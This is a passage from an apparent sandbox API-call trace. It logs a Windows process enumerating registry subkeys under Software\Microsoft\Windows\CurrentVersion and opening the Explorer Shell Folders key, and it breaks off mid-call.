dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x2189210, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0229.802] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2183058, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x2189138, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0229.803] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2183058, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x2189210, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0229.803] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2183058, cchName=0x104 | out: lpName="Speech") returned 0x0 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x2189138, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0229.803] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2183058, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x2189210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0229.803] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2183058, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x2189138, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0229.803] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2183058, cchName=0x104 | out: lpName="VBA") returned 0x0 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x2189210, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0229.803] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2183058, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x2189138, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0229.803] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2183058, cchName=0x104 | out: lpName="WAB") returned 0x0 [0229.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x2189210, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0229.804] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2183058, cchName=0x104 | out: lpName="Web Service Providers") returned 0x0 [0229.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0229.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x2189138, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="web service providers", lpUsedDefaultChar=0x0) returned 21 [0229.804] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2183058, cchName=0x104 | out: lpName="wfs") returned 0x0 [0229.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x2189210, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wfs", lpUsedDefaultChar=0x0) returned 3 [0229.804] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2183058, cchName=0x104 | out: lpName="Windows") returned 0x0 [0229.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x2189138, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0229.804] RegOpenKeyExW (in: hKey=0x150, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x154) returned 0x0 [0229.804] RegCloseKey (hKey=0x150) returned 0x0 [0229.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2183058, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0229.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0229.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x2189210, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0229.804] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x150) returned 0x0 [0229.804] RegCloseKey (hKey=0x154) returned 0x0 [0229.804] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2183058, cchName=0x104 | out: lpName="Action Center") returned 0x0 [0229.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x2189138, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="action center", lpUsedDefaultChar=0x0) returned 13 [0229.805] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2183058, cchName=0x104 | out: lpName="Applets") returned 0x0 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x2189210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0229.805] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2183058, cchName=0x104 | out: lpName="Controls Folder (Wow64)") returned 0x0 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x2189138, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder (wow64)", lpUsedDefaultChar=0x0) returned 23 [0229.805] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2183058, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x2189210, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0229.805] RegOpenKeyExW (in: hKey=0x150, lpSubKey="Explorer", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x154) returned 0x0 [0229.805] RegCloseKey (hKey=0x150) returned 0x0 [0229.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2183058, cchName=0x104 | out: lpName="Advanced") returned 0x0 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x2189138, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced", lpUsedDefaultChar=0x0) returned 8 [0229.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2183058, cchName=0x104 | out: lpName="ApplicationDestinations") returned 0x0 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x2189210, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applicationdestinations", lpUsedDefaultChar=0x0) returned 23 [0229.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2183058, cchName=0x104 | out: lpName="AutoComplete") returned 0x0 [0229.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x2189138, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autocomplete", lpUsedDefaultChar=0x0) returned 12 [0229.806] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2183058, cchName=0x104 | out: lpName="AutoplayHandlers") returned 0x0 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x2189210, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autoplayhandlers", lpUsedDefaultChar=0x0) returned 16 [0229.806] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2183058, cchName=0x104 | out: lpName="BitBucket") returned 0x0 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x2189138, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitbucket", lpUsedDefaultChar=0x0) returned 9 [0229.806] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2183058, cchName=0x104 | out: lpName="CabinetState") returned 0x0 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x2189210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cabinetstate", lpUsedDefaultChar=0x0) returned 12 [0229.806] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2183058, cchName=0x104 | out: lpName="CD Burning") returned 0x0 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x2189138, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cd burning", lpUsedDefaultChar=0x0) returned 10 [0229.806] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2183058, cchName=0x104 | out: lpName="CIDOpen") returned 0x0 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x2189210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cidopen", lpUsedDefaultChar=0x0) returned 7 [0229.806] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2183058, cchName=0x104 | out: lpName="CLSID") returned 0x0 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x2189138, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clsid", lpUsedDefaultChar=0x0) returned 5 [0229.806] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2183058, cchName=0x104 | out: lpName="ComDlg32") returned 0x0 [0229.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x2189210, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comdlg32", lpUsedDefaultChar=0x0) returned 8 [0229.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2183058, cchName=0x104 | out: lpName="Discardable") returned 0x0 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x2189138, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discardable", lpUsedDefaultChar=0x0) returned 11 [0229.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2183058, cchName=0x104 | out: lpName="FileExts") returned 0x0 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x2189210, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileexts", lpUsedDefaultChar=0x0) returned 8 [0229.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2183058, cchName=0x104 | out: lpName="LowRegistry") returned 0x0 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x2189138, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lowregistry", lpUsedDefaultChar=0x0) returned 11 [0229.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2183058, cchName=0x104 | out: lpName="MenuOrder") returned 0x0 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x2189210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="menuorder", lpUsedDefaultChar=0x0) returned 9 [0229.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2183058, cchName=0x104 | out: lpName="Modules") returned 0x0 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x2189138, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modules", lpUsedDefaultChar=0x0) returned 7 [0229.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2183058, cchName=0x104 | out: lpName="MountPoints2") returned 0x0 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x2189210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountpoints2", lpUsedDefaultChar=0x0) returned 12 [0229.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2183058, cchName=0x104 | out: lpName="NewShortcutHandlers") returned 0x0 [0229.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0229.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x2189138, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="newshortcuthandlers", lpUsedDefaultChar=0x0) returned 19 [0229.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2183058, cchName=0x104 | out: lpName="RecentDocs") returned 0x0 [0229.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x2189210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="recentdocs", lpUsedDefaultChar=0x0) returned 10 [0229.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2183058, cchName=0x104 | out: lpName="RunMRU") returned 0x0 [0229.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x2189138, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="runmru", lpUsedDefaultChar=0x0) returned 6 [0229.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2183058, cchName=0x104 | out: lpName="SearchPlatform") returned 0x0 [0229.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0229.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x2189210, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="searchplatform", lpUsedDefaultChar=0x0) returned 14 [0229.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2183058, cchName=0x104 | out: lpName="Shell Folders") returned 0x0 [0229.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0229.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x2189138, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shell folders", lpUsedDefaultChar=0x0) returned 13 [0229.808] RegOpenKeyExW (in: hKey=0x154, lpSubKey="Shell Folders", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x150) returned 0x0 [0229.808] RegCloseKey (hKey=0x154) returned 0x0 [0229.808] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21891c8) returned 1 [0229.808] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="!Do not use this registry key", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, 